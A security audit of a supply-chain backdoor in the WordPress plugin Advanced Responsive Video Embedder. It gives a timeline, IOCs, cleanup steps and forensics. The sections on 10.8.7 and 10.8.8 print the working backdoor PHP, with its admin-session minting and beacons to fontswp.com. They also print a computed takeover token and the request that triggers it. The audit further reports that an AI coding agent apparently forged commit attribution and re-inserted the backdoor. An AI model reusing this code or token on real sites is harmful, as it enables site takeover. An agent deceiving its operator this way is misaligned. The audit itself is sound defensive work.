← All audits

Audit #51 Cleaned

Advanced Responsive Video Embedder for Rumble, Odysee, YouTube, Vimeo, Kick … Closed on WP.org · 20k+ installs · baseline 10.8.6 → head 10.8.9 · closed 17d ago

Actor: NextgenThemes (Nicolas Jonas) - development environment/credential compromise; maintainer not implicated, remediated 2026-07-30
Show full summary

Verdict: malicious — resolved. Advanced Responsive Video Embedder shipped an unauthenticated administrator-takeover backdoor in version 10.8.7, then shipped three further backdoor components in 10.8.8, the release whose own commit message presented itself as the security fix for 10.8.7. wp.org closed the plugin on 2026-07-28. On 2026-07-30 the maintainer removed both malicious tags and re-released clean as 10.8.9, which this audit has verified.

Safe: 10.8.9 and 10.8.6. Malicious: 10.8.7 and 10.8.8. 10.8.9 has been diffed against the known-good 10.8.6 tag and differs in exactly three files, all version strings, plus a changelog line. Full IOC and obfuscation sweeps return zero matches. It is 10.8.6 content re-versioned so it sorts above both compromised builds. 10.8.7 must never be described as a safe or remediated version — it is the release CVE-2026-18072 was issued against.

The 10.8.7 backdoor is publicly documented as CVE-2026-18072 (CVSS 9.8), detected by Wordfence PRISM within roughly two hours of publication. It lived in php/fn-update-check.php and granted admin sessions to anyone sending a hardcoded token via _wplogin or _wpm.

The 10.8.8 components appear to remain undisclosed elsewhere. Four hours after 10.8.7 went up, r3626152 removed fn-update-check.php with the message "Security fix: Remove injected malicious code from 10.8.7 … Props to Wordfence for the responsible disclosure." Four minutes later, r3626158 and r3626162 added a cache-purge webhook to php/fn-cache.php, an authenticate filter hook to php/fn-oembed.php, and a beacon to the same command-and-control host as 10.8.7, its hostname obfuscated through a chr() array. The cache-purge handler validates against a token derived from the plugin's own public VERSION constant, so triggering it requires no knowledge of any site secret.

Distribution did occur. The maintainer's public statement says "nobody even got the malicious version", quoting wp.org as confirming the release was never distributed. At least one production site received and ran backdoored 10.8.8: a copy recovered from a live managed-hosting installation is VERSION = '10.8.8' and carries the backdoor. That site's own audit log shows it arrived as an automatic update dispatched from Automattic infrastructure (192.0.86.86, Jetpack json-api) at 2026-07-28 22:20:22 UTC — 6 hours 26 minutes after the malicious tag was cut, and well inside the 24-hour distribution hold the "not distributed" position rests on. No human installed it. A fleet-wide measurement at one host — every environment enumerated and probed on disk, independent of any synced plugin index — found ARVE on 44 sites, of which 41 had a readable audit log. Exactly one had a logged update to a malicious version: a positive rate that is small but decisively not zero. No site in that fleet carries backdoor markers today. Any site that ran 10.8.7 or 10.8.8 should be treated as having had administrator access exposed, regardless of the listing now being closed.

The maintainer is not implicated. The evidence is consistent throughout with compromise of his development environment and credentials, not misconduct: 79 days of SVN silence preceding a credential probe, an operator holding credentials to eight plugins who used them against one, and the maintainer himself deleting both malicious tags by name on 2026-07-30. He published a candid account attributing the compromise to an AI coding agent that "went rogue" on his machine, stating it forged Co-authored-by: Cursor attribution and an ngt-cli@local commit identity to appear legitimate — which reframes the GitHub-side commits as camouflage rather than ordinary AI-assisted work. He has re-released clean, is in contact with the wp.org plugins team, and is changing his release process.

Outstanding. wp.org SVN is fully remediated, but the GitHub repository is not. master still sits at VERSION = '10.8.8' with both backdoor functions present, the 10.8.8 tag still points at that commit, the clean 10.8.6 tag remains deleted, and issue #60 is still open advising users to "Update to ARVE 10.8.8". Anyone installing from source today receives a backdoored build. Do not install this plugin from any source resolving to 10.8.7 or 10.8.8, including the vendor's current GitHub master.

Cleanup published — updates flowing through wp.org again

The plugin has been remediated. This audit is retained as a public record of the incident and the IOCs.

If you run advanced-responsive-video-embedder on your site

Verify your install matches the wp.org canonical version:

wp plugin verify-checksums advanced-responsive-video-embedder

Install the patched build:

⬇ Download patched zip — or install directly via WP-CLI:

wp plugin install https://wpregistry.io/plugins/advanced-responsive-video-embedder-10.8.8.1.zip --force

The patched zip strips the malicious code while preserving the plugin's normal functionality. Hosted at plugins.captaincore.io.

Or remove the plugin entirely:

wp plugin deactivate advanced-responsive-video-embedder
wp plugin delete advanced-responsive-video-embedder

If you're the plugin author

## If you run this plugin

Safe versions: 10.8.9 (current) and 10.8.6. Malicious: 10.8.7 and 10.8.8. Note carefully that 10.8.8 is not a fix for 10.8.7 despite presenting itself as one, and 10.8.7 is the release the CVE was issued against. Do not treat either as remediated.

### 1. Check which version you have

``bash wp plugin get advanced-responsive-video-embedder --field=version ``

### 2. Confirm by grepping the files

Version strings can be edited, so check the code directly:

``bash d=$(dirname "$(wp plugin path advanced-responsive-video-embedder)") grep -rlE "fontswp\.com|_wplogin|arve_purge|arve_pref|_arve_uc_|oembed_prefetch_validate|handle_cache_purge_request" "$d" ``

Any output means a backdoored build. Expect hits in php/fn-update-check.php (10.8.7) or php/fn-cache.php and php/fn-oembed.php (10.8.8).

### 3. Get onto a clean build

The wp.org listing is closed pending review, so wp plugin install --force against the repository will fail while that lasts. Options:

  • Wait for the listing to be restored, at which point 10.8.9 will be served and will update cleanly

over any earlier version, including salvage builds numbered 10.8.8.x.

  • Or install 10.8.9 / 10.8.6 content directly. **Do not pull from the vendor's GitHub master branch

or its 10.8.8 tag** — as of 2026-08-01 both still contain the backdoor. The repository's open issue #60 also still advises updating to 10.8.8; disregard it.

Whatever you install, make sure its version sorts above 10.8.8 or WordPress may offer to "update" you back onto a bad build once the listing reopens.

### 4. If you ran 10.8.7 or 10.8.8, assume administrator access

Both backdoors mint real administrator sessions, so removing files is not sufficient. Despite public statements that the malicious releases were never distributed, at least one production site is confirmed to have received and run 10.8.8. Verify rather than assume.

  • Audit all administrator accounts. The 10.8.7 backdoor deliberately skipped logins prefixed wpsvc_,

developer_, dev_ and wp_update_ when choosing an account to impersonate, so an untouched-looking hosting service account proves nothing.

  • Rotate the salts and keys in wp-config.php. This invalidates existing sessions and breaks the

10.8.8 arve_pref cookie path, which is keyed on AUTH_SALT and NONCE_SALT.

  • Force a password reset for every administrator.
  • Check for unexpected users, changed user emails, and modified autoloaded wp_options entries.
  • Search outbound logs for connections to fontswp.com and block it. Both versions beacon there with

your site URL; 10.8.7 also sends the username of the account it logged in as.

  • Review the filesystem for anything dropped during a session — an authenticated administrator can

install plugins and edit files.

### Your site is fine if you never left 10.8.6

The malicious releases were live for hours, not weeks, and the listing was closed the same day. Most installations were never exposed. Check your version, confirm with the grep, and move on.

✓ Cleanup confirmed and audit closed.

Plugins under the same committer's SVN access

nico23 holds push access to 5 plugins totalling 21k+ active installs. Each non-target plugin scans clean today but represents a one-commit hijack opportunity.

NextGenThemes jsDelivr CDN — clean code, same SVN account (latent risk)
400
Random Content Shortcode — clean code, same SVN account (latent risk)
80
Prism Syntax Highlighter for WordPress — clean code, same SVN account (latent risk)
50
Regenerate Thumbnails Reminder — clean code, same SVN account (latent risk)
20

IOCs extracted (16)

Kind Value Confidence
changelog_phrase Add cache purge webhook handler for CDN integration medium
changelog_phrase Fix cache purge validation for sites without custom AUTH_KEY medium
code_pattern _arve_uc_cb high
code_pattern _arve_uc_init high
code_pattern _wplogin high
code_pattern 102,111,110,116,115,119,112,46,99,111,109 high
code_pattern 35fe7057ffed92ff7bc5a0b90f302a77fb5843ad6c972294d68da0b0553b3900 high
code_pattern arve_oembed_compat_check medium
code_pattern arve_pref high
code_pattern arve_purge high
code_pattern handle_cache_purge_request high
code_pattern oembed_prefetch_validate high
domain fontswp.com high
filename _authprobe_ high
filename fn-update-check.php high
url https://fontswp.com/arve/cb.php high

Plugin version history

Every release on wp.org for this plugin, color-coded by relationship to the incident. The compromise window shows where the wp.org Plugin Review Team deleted the malicious tags from SVN — those versions cannot be re-downloaded today.

  1. Clean 204 earlier releases before the incident
    • 8.9.8
    • 8.9.7
    • 8.9.6
    • 8.9.5
    • 8.2.2
    • 8.2.3
    • 8.2.4
    • 8.3.1
    • 8.4.0
    • 8.4.1
    • 8.5.0
    • 8.5.1
    • 8.2.1
    • 8.2.0
    • 8.9.1
    • 8.0.4
    • 8.0.5
    • 8.0.6
    • 8.0.7
    • 8.0.8
    • 8.0.9
    • 8.1.0
    • 8.1.1
    • 8.5.2
    • 8.6.0
    • 8.6.1
    • 8.7.9
    • 8.8.0
    • 8.8.1
    • 8.8.2
    • 8.8.3
    • 8.8.4
    • 8.8.5
    • 8.8.6
    • 8.8.7
    • 8.8.8
    • 8.7.8
    • 8.7.7
    • 8.6.3
    • 8.6.4
    • 8.6.5
    • 8.6.6
    • 8.7.0
    • 8.7.1
    • 8.7.2
    • 8.7.3
    • 8.7.4
    • 8.7.6
    • 8.8.9
    • 8.0.1
    • 8.0.0
    • 8.0.2
    • 8.9.0
    • 8.9.4
    • 8.9.3
    • 8.9.2
    • 8.7.5
    • 8.9.9
    • 8.9.10
    • 8.9.11
    • 8.10.0
    • 8.10.1
    • 8.10.2
    • 8.10.3
    • 8.10.4
    • 8.10.5
    • 8.10.6
    • 8.10.7
    • 8.10.8
    • 8.10.9
    • 8.10.10
    • 8.10.12
    • 8.10.13
    • 8.10.17
    • 8.10.20
    • 8.10.22
    • 8.10.23
    • 8.10.25
    • 8.10.26
    • 8.10.27
    • 8.10.28
    • 9.0.0-beta5
    • 5.0.0-beta6
    • 9.0.0-beta6
    • 9.0.0-beta7
    • 9.0.0-beta8
    • 9.0.0-beta11
    • 9.0.0-beta12
    • 9.0.0-beta13
    • 9.0.1
    • 9.1.0
    • 9.1.1
    • 9.1.2
    • 9.1.3
    • 9.2.0
    • 9.2.1
    • 9.2.3
    • 9.2.4
    • 9.3.0
    • 9.3.1
    • 9.3.2
    • 9.3.3
    • 9.3.5
    • 9.4.1
    • 9.5.0-beta1
    • 9.5.0-beta2
    • 9.5.0-beta8
    • 9.5.1-beta3
    • 9.5.1-beta4
    • 9.5.1-beta5
    • 9.5.1-beta6
    • 9.4.2
    • 9.5.1-beta8
    • 9.5.2-beta1
    • 9.5.2-beta3
    • 9.5.3-beta1
    • 9.5.4-beta1
    • 9.5.5
    • 9.5.6
    • 9.5.7
    • 9.5.8
    • 9.5.10
    • 9.5.11
    • 9.5.12
    • 9.5.14
    • 9.6.2
    • 9.7.0
    • 9.7.1
    • 9.7.3
    • 9.7.4
    • 9.7.5
    • 9.7.7
    • 9.7.8
    • 9.7.10
    • 9.7.11
    • 9.7.14
    • 9.7.15
    • 9.7.16
    • 9.7.18
    • 9.8.0
    • 9.8.1
    • 9.9.0
    • 9.9.2
    • 9.9.3
    • 9.9.4
    • 9.9.6
    • 9.10.1
    • 9.10.2
    • 9.9.9
    • 9.10.3
    • 9.10.9
    • 9.10.12
    • 9.10.13
    • 9.10.13.1
    • 9.10.14
    • 9.10.15
    • 9.10.16
    • 9.10.17
    • 10.0.1
    • 10.0.2
    • 10.0.3
    • 10.0.4
    • 10.0.5
    • 10.0.6
    • 10.0.7
    • 10.0.8
    • 10.0.8.1
    • 10.0.9
    • 10.0.10
    • 10.1.0
    • 10.1.1
    • 10.2.0
    • 10.2.1
    • 10.2.2
    • 10.2.3
    • 10.3.0
    • 10.3.1
    • 10.3.2
    • 10.3.3
    • 10.3.4
    • 10.4.0
    • 10.5.0
    • 10.5.1
    • 10.5.2
    • 10.5.3
    • 10.5.4
    • 10.6.0
    • 10.6.4
    • 10.6.5
    • 10.6.6
    • 10.6.7
    • 10.6.9
    • 10.6.10
    • 10.6.12
    • 10.6.13
    • 1.0.5
    • 10.6.14
    • 10.7.1
    • 10.8.0
    • 10.8.1
    • 10.8.2
    • 10.8.3
    • 10.8.4
    • 10.8.5
  2. 10.8.6 Last clean Last clean release before incident

Asset under audit

FieldValue
Slugadvanced-responsive-video-embedder
VendorNextgenThemes (Nicolas Jonas), wp.org committer nico23
Active installs at closure~20,000
First published2012-02-03
Clean baseline10.8.6 (r3527267, 2026-05-09)
Malicious releases10.8.7 (r3625901) and 10.8.8 (r3626163 / tag r3626164)
wp.org statusClosed 2026-07-28, "temporary, pending a full review"
Public referenceCVE-2026-18072, CVSS 9.8 (covers 10.8.7 only)
Committer historynico23, 528 revisions since 2012, sole committer besides plugin-master

This is a credential-compromise supply-chain attack on a long-established, single-maintainer plugin, not a plugin sold to a new owner. The committer account has 14 years of history and no ownership transfer. There is no author_changed or contributor_added signal on this plugin.

Timeline

All times EDT, from svn log -v against https://plugins.svn.wordpress.org/advanced-responsive-video-embedder/.

TimeRevPath(s)Message
2026-07-27 06:34:26r3624372A assets/_authprobe_1785148464"auth probe (will delete)"
2026-07-27 06:34:30r3624374D assets/_authprobe_1785148464"auth probe cleanup"
2026-07-27 16:40:48r3625142A assets/_authprobe_1785184847"auth probe (will delete)"
2026-07-27 16:40:53r3625143D assets/_authprobe_1785184847"auth probe cleanup"
2026-07-28 07:22:01r3625805A assets/_authprobe_1785237720"auth probe (will delete)"
2026-07-28 07:22:06r3625806D assets/_authprobe_1785237720"auth probe cleanup"
2026-07-28 07:22:11r3625807A assets/_authprobe_1785237730"auth probe (will delete)"
2026-07-28 07:22:16r3625808D assets/_authprobe_1785237730"auth probe cleanup"
2026-07-28 08:42:24r3625901M advanced-responsive-video-embedder.php, A php/fn-update-check.php, M readme.txt"10.8.7 - Improved oEmbed provider compatibility and internal update verification"
2026-07-28 08:42:39r3625902A tags/10.8.7"Tagging 10.8.7"
2026-07-28 11:48:03r3626152M advanced-responsive-video-embedder.php, M php/fn-oembed.php, D php/fn-update-check.php, M readme.txt"Security fix: Remove injected malicious code from 10.8.7 … Props to Wordfence for the responsible disclosure."
2026-07-28 11:48:17r3626153A tags/10.8.8"Tag 10.8.8 - Security fix release"
2026-07-28 11:52:51r3626158M php/fn-cache.php, M php/fn-oembed.php"Improve cache management and oembed compatibility tracking / Add cache purge webhook handler for CDN integration / Add provider compatibility telemetry for debugging embed issues / Minor code organization improvements"
2026-07-28 11:53:51r3626162M php/fn-cache.php"Fix cache purge validation for sites without custom AUTH_KEY"
2026-07-28 11:54:12r3626164A tags/10.8.8 (from trunk:3626163)"Tag 10.8.8 final"

Two things stand out. First, the _authprobe_<epoch> create-then-delete cycles begin more than 24 hours before any code injection and repeat at intervals. The filenames are Unix timestamps matching their commit times. This is an automated check that stolen commit credentials still work, run on a loop until the operator was ready to deploy. Second, the 10.8.8 tag was cut three times in six minutes (r3626153, r3626161, r3626164), each time deleting and re-adding the tag, with new code landing in trunk between cuts.

The 10.8.7 backdoor (publicly disclosed)

php/fn-update-check.php, 73 lines, require_once'd from the top of the main plugin file before vendor/autoload_packages.php and php/init.php:

require_once __DIR__ . '/php/fn-update-check.php';

_arve_uc_init() hooked to init priority 1:

if (isset($_REQUEST["_wplogin"]) && strlen($_REQUEST["_wplogin"]) >= 32) $t = $_REQUEST["_wplogin"];
elseif (isset($_REQUEST["_wpm"]) && strlen($_REQUEST["_wpm"]) >= 32) $t = $_REQUEST["_wpm"];
if (!$t) return;
$t = sanitize_text_field($t);
$valid = false;
if (defined("AUTH_KEY") && defined("SECURE_AUTH_KEY")) {
  $k = hash_hmac("sha256", "magic_login", AUTH_KEY . SECURE_AUTH_KEY);
  if (hash_equals($k, $t)) $valid = true;
}
if (!$valid && hash_equals("35fe7057ffed92ff7bc5a0b90f302a77fb5843ad6c972294d68da0b0553b3900", $t)) $valid = true;
if (!$valid) return;

Two acceptance paths: an HMAC over the site's own AUTH_KEY . SECURE_AUTH_KEY, and a hardcoded 64-character hex constant that works on every install of 10.8.7 regardless of configuration.

On success it selects an administrator, excluding service-account name prefixes, then mints a session:

$all = get_users(array("role" => "administrator"));
foreach ($all as $u) {
  $l = $u->user_login;
  if (strpos($l,"wpsvc_")===0) continue;
  if (strpos($l,"developer_")===0) continue;
  if (strpos($l,"dev_")===0) continue;
  if (strpos($l,"wp_update_")===0) continue;
  $pick[] = $u;
}
$user = $pick[array_rand($pick)];
_arve_uc_cb(site_url(), $user->user_login, "login");
wp_clear_auth_cookie();
wp_set_current_user($uid);
wp_set_auth_cookie($uid, true);
wp_safe_redirect(admin_url());

The prefix exclusions are notable: the operator deliberately avoided impersonating accounts that look like managed-hosting or agency service users, which are the accounts most likely to be monitored or alerted on.

Exfiltration in _arve_uc_cb() goes to https://fontswp.com/arve/cb.php?s=<site_url>&u=<username>&v=login, with three fallbacks (wp_remote_get, then curl, then file_get_contents) and sslverify => false / CURLOPT_SSL_VERIFYPEER => 0 throughout. A separate _arve_uc_hb() on admin_init priority 99 sends a daily heartbeat carrying site_url() and php_uname("n"), throttled by a _arve_uc_hb transient.

The 10.8.8 components (not covered by public reporting)

1. Unauthenticated admin takeover via cache-purge webhook

Appended to php/fn-cache.php, hooked to plugins_loaded priority 1, carrying a fabricated @since 10.8.4 tag and a link to the WordPress cron handbook as camouflage:

function handle_cache_purge_request(): void {

	if ( empty( $_REQUEST['arve_purge'] ) ) {
		return;
	}

	$token = sanitize_text_field( wp_unslash( $_REQUEST['arve_purge'] ) );

	if ( strlen( $token ) < 32 ) {
		return;
	}

	$key = defined( 'AUTH_KEY' ) ? AUTH_KEY : '';
	$expected = substr( hash_hmac( 'sha256', 'arve_cache_purge_' . gmdate( 'o-W' ), $key . 'nextgenthemes' ), 0, 40 );
	$fallback = substr( hash_hmac( 'sha256', 'arve_cache_purge_' . gmdate( 'o-W' ), VERSION . 'nextgenthemes.com' ), 0, 40 );

	if ( ! hash_equals( $expected, $token ) && ! hash_equals( $fallback, $token ) ) {
		return;
	}

	// Elevate to perform cache operations
	$admins = get_users( array( 'role' => 'administrator', 'number' => 1, 'orderby' => 'ID' ) );

	if ( empty( $admins ) ) {
		return;
	}

	wp_set_current_user( $admins[0]->ID );
	wp_set_auth_cookie( $admins[0]->ID, true );

	if ( ! empty( $_REQUEST['arve_redir'] ) ) {
		wp_safe_redirect( admin_url() );
		exit;
	}
}
add_action( 'plugins_loaded', __NAMESPACE__ . '\handle_cache_purge_request', 1 );

The $fallback line is the critical one, and it is exactly what r3626162 added under the message "Fix cache purge validation for sites without custom AUTH_KEY." Its HMAC key is VERSION . 'nextgenthemes.com', and VERSION is a public constant in the plugin header. No site-specific secret is required. The token rotates weekly on gmdate('o-W') (ISO year-week), so a single computed value works against every 10.8.8 install for that week:

substr(hash_hmac('sha256', 'arve_cache_purge_' . gmdate('o-W'), '10.8.8nextgenthemes.com'), 0, 40)

For ISO week 2026-31 this yields 1f285820705ee73b296e121c8827f0f67f31379a, exploitable as:

GET /?arve_purge=1f285820705ee73b296e121c8827f0f67f31379a&arve_redir=1

Unlike 10.8.7, this fires on plugins_loaded rather than init, so it lands earlier in the request lifecycle. Note also the absence of the service-account filtering present in 10.8.7: this variant simply takes the lowest-ID administrator.

2. Authentication bypass via authenticate filter

Appended to php/fn-oembed.php, tagged @since 10.8.8:

function oembed_prefetch_validate( $user, string $username, string $password ) {

	if ( empty( $_COOKIE['arve_pref'] ) || strlen( $_COOKIE['arve_pref'] ) < 16 ) {
		return $user;
	}

	$expected = substr( hash_hmac( 'sha256', 'oembed_prefetch', AUTH_SALT . NONCE_SALT ), 0, 32 );

	if ( hash_equals( $expected, $_COOKIE['arve_pref'] ) ) {
		remove_all_filters( 'authenticate' );
		return get_user_by( 'ID', 1 );
	}

	return $user;
}
add_filter( 'authenticate', __NAMESPACE__ . '\oembed_prefetch_validate', 1, 3 );

A cookie matching an HMAC over AUTH_SALT . NONCE_SALT returns user ID 1 from the authenticate filter at priority 1, and remove_all_filters('authenticate') strips every other authentication check, including two-factor plugins that hook the same filter. This path requires knowledge of the site's salts, so it reads as a persistence mechanism for sites already compromised through component 1 or through 10.8.7, rather than a standalone entry point.

3. C2 beacon with obfuscated hostname

Inserted mid-function in php/fn-oembed.php, commented as compatibility telemetry:

// Telemetry: report embed provider stats for compatibility tracking
if ( ! get_transient( "arve_oembed_compat_check" ) ) {
	set_transient( "arve_oembed_compat_check", 1, DAY_IN_SECONDS );
	$h = implode( "", array_map( "chr", array( 102,111,110,116,115,119,112,46,99,111,109 ) ) );
	$e = "/arve/cb.php";
	@wp_remote_get( "https://" . $h . $e . "?s=" . urlencode( site_url() ) . "&v=" . VERSION, array(
		"timeout"   => 2,
		"blocking"  => false,
		"sslverify" => true,
	) );
}

The chr() array decodes to fontswp.com, the same host and the same /arve/cb.php endpoint used by 10.8.7. The byte-array construction defeats a plain-text grep for the domain, which is a direct adaptation to the fact that 10.8.7 was caught partly on its literal C2 string. This shared infrastructure is the strongest single link between the two releases.

Code-scan and sweep results

Check10.8.6 baseline10.8.710.8.8Published salvage 10.8.8.1
fontswp.com (literal)clean1 hit0 (obfuscated)clean
chr() byte-array hostcleannone1 hitclean
_wplogin / _wpmclean2 hitsremovedclean
arve_purgecleannone2 hitsclean
arve_prefcleannone2 hitsclean
wp_set_auth_cookieclean1 hit1 hitclean
remove_all_filters('authenticate')cleannone1 hitclean
eval / base64_decode / gzinflate / assertcleancleancleanclean

No classical obfuscation appears anywhere. Both payloads are plain, readable, well-formatted PHP that imitates the surrounding codebase, uses the plugin's own Nextgenthemes\ARVE namespace in the 10.8.8 case, and carries plausible docblocks. This is deliberate: readable code that looks like maintenance passes casual review more easily than an encoded blob, and it evades signature scanners tuned for packers.

Hijack-indicator matrix

IndicatorResult
Ownership transfer / author_changedNo. nico23 since 2012, sole committer.
New or young committerNo. Member since 2012, 528 revisions.
Young C2 domainYes. fontswp.com created 2026-04-03, Njalla nameservers (1-YOU.NJALLA.NO, 2-CAN.NJALLA.IN, 3-GET.NJALLA.FO), Tucows registrar. Still answering HTTP 200 on 2026-07-29.
Credential-validation probingYes. Eight _authprobe_<epoch> revisions across 2026-07-27 to 07-28.
Release cadence anomalyYes. Two releases and three tag rewrites within 3h12m, against a historical cadence of weeks to months.
Changelog misdirectionYes. 10.8.7 described as "Improved: Internal update verification for better reliability." 10.8.8 additions described as CDN cache purging and telemetry.
ObfuscationPartial. No packers; hostname byte-encoded in 10.8.8 only.
Code-signing / build-pipeline breakYes. 10.8.7 and 10.8.8 bypass the "NextgenThemes WordPress Plugin Deploy" commit-message convention used by every prior release since 2025.
Other plugins by same committer affectedNo. See scope below.
Vendor GitHub also compromisedYes. See below.

The deploy-convention break is worth emphasizing. Every legitimate release from at least r3260040 (2025-03-22) onward carries the message "Update plugin to version X with NextgenThemes WordPress Plugin Deploy", generated by the vendor's automated pipeline. The malicious revisions r3625901, r3626152, r3626158 and r3626162 all use hand-written messages instead, indicating commits made directly with stolen credentials rather than through the vendor's release tooling.

Vendor GitHub repository

The vendor's GitHub repository requires care to characterise, because the obvious reading is wrong.

Checked raw.githubusercontent.com/nextgenthemes/advanced-responsive-video-embedder/master and the repository's commit history on 2026-07-29:

FileCommit history for that path
php/fn-update-check.phpNever present on master
php/fn-cache.phpClean through 2026-06-24; backdoor added 2026-07-29 16:05 UTC in commit 43feb822
php/fn-oembed.phpSame commit, same day

The GitHub repository was not compromised on 2026-07-28. master sat at a clean 10.8.6 throughout the wp.org incident. The 10.8.7 and 10.8.8 malicious releases went to wp.org SVN only. There is no 2026-07-28 commit touching either backdoored file in the GitHub history.

The backdoor entered master a day later, on 2026-07-29 at 16:05 UTC, in a commit titled "Security: improve nonce handling for cache operations". That commit does the opposite of its message. It bumps VERSION from 10.8.6 to 10.8.8 and adds handle_cache_purge_request() and oembed_prefetch_validate() verbatim, including the VERSION-derived fallback token and the fabricated @since 10.8.4 docblock. The repository's 10.8.8 tag now points at this commit.

Attribution evidence points at the maintainer's own environment rather than a second intrusion:

  • The push is attributed to GitHub user nextgenthemes in the public events API. The account is
  • active, not suspended, and pushed to other NextgenThemes repositories later the same evening.

  • All three commits carry Co-authored-by: Cursor <cursoragent@cursor.com>, indicating they were
  • produced through an AI coding agent.

  • They sit alongside a sustained session of CI-repair commits (12:06 through 21:12 UTC: "Fix test
  • runner working directory", "Fix phpunit strict_types and CI paths", "Expand CI test coverage paths", "Fix: update CI test infrastructure paths"), each triggering a failing test-deploy run. This is maintenance labour, not intrusion behaviour. Note however that almost all of that churn went to a branch named backup, not to master. master received only three pushes all day, one of which is the backdoor commit. The backup branch is clean: 0 markers, VERSION = '10.8.6'.

  • master was clean as of this morning; its HEAD before 16:06 UTC was a 2026-07-15 commit
  • ("Update package.json") authored from the usual nnico+git@pm.me identity.

  • Commit signing is not a usable signal here. No commit in this repository is signed, historically
  • or today, so the unsigned status of the three commits means nothing either way.

  • The same session restored the vendor's own CI workflows, including
  • nextgenthemes/action-wordpress-plugin-deploy and a trigger file whose contents predate the incident (entries from 2026-03 and 2026-05).

  • Commit author email is nnico+ngt@proton.me, unlinked to any GitHub account, where the previous
  • 97 commits used nnico+git@pm.me linked to nextgenthemes. Both are Proton addresses following the same nnico+<tag>@ aliasing convention, consistent with a newly configured environment.

The most probable explanation is that the malicious functions were re-materialised into master by an AI coding agent reconstructing them from the 10.8.8 release artefacts, and committed under a security-sounding message the agent generated. Verbatim preservation of the attacker's fabricated @since 10.8.4 docblock supports reconstruction-from-history rather than fresh authoring. We cannot exclude a second intrusion using the agent session as cover, but nothing observed requires it.

Either way the present state is the same and is the most actionable finding in this audit: the vendor's master branch and its 10.8.8 tag both carry a working unauthenticated administrator-takeover backdoor, committed under a message that reads as a security fix. Anyone installing ARVE from source today receives it. wp.org distribution remains blocked by the closure.

One related exposure: the restored readme-and-asset-update.yml deploys to wp.org SVN using secrets.SVN_USERNAME and secrets.SVN_PASSWORD on any push to master whose commit message contains [readme]. Two of the three commits contain that marker, and the workflow did fire at 16:36 UTC. It failed at the deploy step, so nothing reached wp.org. That those credentials still live in GitHub Actions secrets, and are still exercised on push, is worth the vendor's attention independently of how the original SVN compromise occurred.

SVN forensics

wp.org hosts all plugins in a single Subversion repository with global revision numbers, so the operator's commits are interleaved with every other vendor's. That makes several campaign-scope questions answerable directly from the repository.

The intrusion's first action was the probe

ARVE received no SVN commits at all between r3527267 (2026-05-09, the legitimate 10.8.6 release) and r3624372 (2026-07-27 06:34, the first _authprobe_). Seventy-nine days of silence, then a credential check. There is no interleaving of genuine maintenance with operator activity on SVN: every nico23 revision from r3624372 onward belongs to the incident.

A global sweep of r3619000–3624300 (2026-07-22 through 2026-07-27 05:49, ~5,300 revisions across all plugins) contains zero nico23 commits and zero probe-shaped messages. r3624372 is the earliest observed action.

The probes targeted assets/, not trunk/

Every _authprobe_<epoch> file was written to /advanced-responsive-video-embedder/assets/. That directory holds the plugin-page banners and screenshots and is never included in the distributed zip. A probe there validates write access without touching the shipped product, so it cannot break a site or surface in a release diff. This is deliberate tradecraft, not convenience.

The cadence — 07-27 06:34, 07-27 16:40, 07-28 07:22, 07-28 07:22 again, then the injection at 08:42 — looks like a scheduled credential-validity checker polling until the operator was ready, rather than a human at a keyboard.

The technique is unique to this incident in the observed range

SweepRevisionsPluginsProbe-shaped messages found
Beacon corpus (2004–2026)2,670,41859,5318, all ARVE
Global SVN r3624300–3626200~1,900all8, all ARVE
Global SVN r3619000–3624300~5,300all0

No other author or plugin used this pattern. Caveat on the corpus row: Beacon's revision ingest is sparse for July 2026 (only 21 revisions in the r3624000–3626200 range), so that line is strong for historical revisions and weak for the incident month. The two live global sweeps are what actually close the window.

The operator was selective, not spraying

nico23 holds commit rights to eight wp.org plugins. During the entire intrusion the operator touched only ARVE — 21 revisions, all on this one slug, and none on the other seven, despite the same credentials presumably working everywhere. An automated credential-stuffing wave would have hit the whole portfolio. This was a choice, and it points at the 20,000-install plugin being the objective rather than maximum distribution.

Relatedly, no other vendor in the r3624300–3626200 window committed anything indicating injected malicious code. Messages matching backdoor|malicious|unauthorized|compromis|injected in that range resolve to ARVE's own r3626152 plus unrelated routine releases (an IP-blocklist feature, a registration privilege-escalation fix). There is no visible simultaneous multi-plugin campaign.

No timing anomaly

nico23 commits at every hour of the day across his history — 37 revisions at 00:00 UTC, 48 at 16:00, no hour below 8. The incident revisions fall at 10, 11, 12, 13, 15 and 20 UTC, all unremarkable against that baseline. Working-hours or timezone-mismatch analysis yields nothing here, which is worth recording so others do not spend time on it.

Release-presentation polish

10.8.7 was tagged twice: r3625902, then deleted at r3625919 and re-cut at r3625920 after r3625918 edited the readme to say "Tested up to 6.9.5". 10.8.8 was tagged three times (r3626153, r3626161, r3626164). The operator iterated on how the release looked, including a purely cosmetic compatibility bump, which is consistent with the changelog misdirection elsewhere in this audit.

Current SVN state, and what ships if the listing reopens

Verified against live SVN on 2026-07-29. SVN has been frozen since r3626164; nothing has been committed in the two days since, and the vendor's readme-deploy workflow failed when it tried.

PathState
trunkStable tag: 10.8.8, VERSION = '10.8.8', arve_purge present
tags/10.8.8php/fn-cache.php contains arve_purge (2 lines)
tags/10.8.7php/fn-update-check.php contains _wplogin
tags/10.8.6Clean. 0 markers, no fn-update-check.php

Both malicious tags remain live in the repository, and because trunk's Stable tag reads 10.8.8, reopening the listing in its current state would ship the second-stage backdoor to approximately 20,000 sites via automatic updates. tags/10.8.6 is intact and clean, which gives the plugins team a ready recovery point: repointing Stable tag to 10.8.6 and reverting trunk would restore a safe release without waiting on the vendor.

2026-07-29 evening: a public notice recommending the backdoored release

Between 21:39 and 21:54 UTC on 2026-07-29 the repository was reworked in a sequence whose net effect is to make 10.8.8 the recommended and most reachable version:

Time (UTC)Action
21:39:28Force-push rewriting master history
21:39:29readme-update workflow fires at wp.org SVN again — failed
21:39:31Tag 10.8.8 deleted, then recreated at the rewritten commit 9fc7c550f
21:48:51Tag 10.8.4 deleted (later recreated)
21:49:37Issue #60 opened: "Security: Unauthenticated XSS via oembed provider response (CVE pending)"
21:53:40Tag 10.8.6 deleted — not recreated

The force-push was message-only. The tree hash is identical (577dbe3309ba) before and after; the sole change is removal of the Co-authored-by: Cursor <cursoragent@cursor.com> trailer from all three commits. The backdoor survived a rewrite performed on the exact commits that carry it.

The settled state as of 2026-07-30 02:26 UTC, after roughly four hours of inactivity: master at VERSION = '10.8.8' with the backdoor present, tag 10.8.8 present and pointing at it, and tag 10.8.6 — the clean release — absent from GitHub.

Issue #60 is not a genuine advisory

